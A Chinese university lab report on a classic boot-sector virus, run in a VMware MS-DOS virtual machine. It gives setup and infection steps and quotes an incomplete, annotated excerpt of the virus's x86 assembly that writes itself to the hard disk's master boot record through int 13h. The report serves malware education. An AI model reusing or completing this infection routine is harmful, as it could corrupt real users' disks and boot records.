实验一 引导型病毒实验 1. 实验目的 通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染染毒文件的方法,提高汇编语言的使用能力。 2. 实验内容 本实验需要完成的内容如下: 引导阶段病毒由软盘感染硬盘实验。通过触发病毒,观察病毒发作的现象 和步骤,学习病毒的感染机制;阅读和分析病毒的代码。 DOS 运行时病毒由硬盘感染软盘的实现。通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。 3. 实验环境 VMWare Workstation 5.5.3 MS-DOS 7.10 4. 实验步骤与结果 第一步: 1、 打开 VMw are Workstation,新建虚拟机,过程如下: 然后点nex t,点NEXT, 硬盘大小可自行分配,大概 1G 左右就 ok,一直到完成为止。 第二步: 1. 安装 MYDOS 2. 启动虚拟机电源,自动从虚拟软驱进入安装过程,一路点NEXT,AGREE 到为虚拟机系统生成一块fat32 的硬盘区,点击,然后reboot。 3. 再次进入安装引导过程,一路点NEXT,AGREE 到重写MBR 选yes,而后选择安装目录C:\dos71 目录。在选择DOS commands only 安装。并取消 DOS add-on的安装复选项。然后一路点NEXT,AGREE。 选择enable umb memory 在下一个页面里选择load both cd/dvd 和 IDE/ATAPI 第三步:步骤如课本实验一 1. 运行虚拟机,检查目前虚拟硬盘是否含有病毒。 2. 将 virus.img 加入软驱,运行虚拟机: 3、 删除虚拟软盘,通过硬盘引导 按任意键进入 DOS系统 4、 通过命令 format A:/q 快速格式化软盘。 5、 软驱中加入 empty.img 引导。如下: 5. 病毒代码分析 i. 传染模块主要代码及传染过程说明; inc cx ;cx此时为1,为2 mov ds:[si+offset reg_cx],cx mov ax, 0301h ;写入一个扇区 mov dx, 0080h ;写入硬盘 1 的 0 面 int 13h ;开始写入 jb boot_dos ;不成功转到 boot_dos mov cl, 21h ;准备搬移 33 个字 mov di, 01beh ;从内存高端的 03beh 搬移到 mov si, 03beh ;内存高端的 01beh,此处正是病毒程序的驻留区 rep movsw ;开始搬移 mov ax, 0301h ;准备向硬盘写入一个扇区 xor bx, bx inc cx ;cx置 1 int 13h ;写入物理硬盘 0 面 0 道 1 扇区 call near ptr install ;安装病毒的 int 13h mov dx, 0080h ;读硬盘0head int 13h ;开始读取 //***...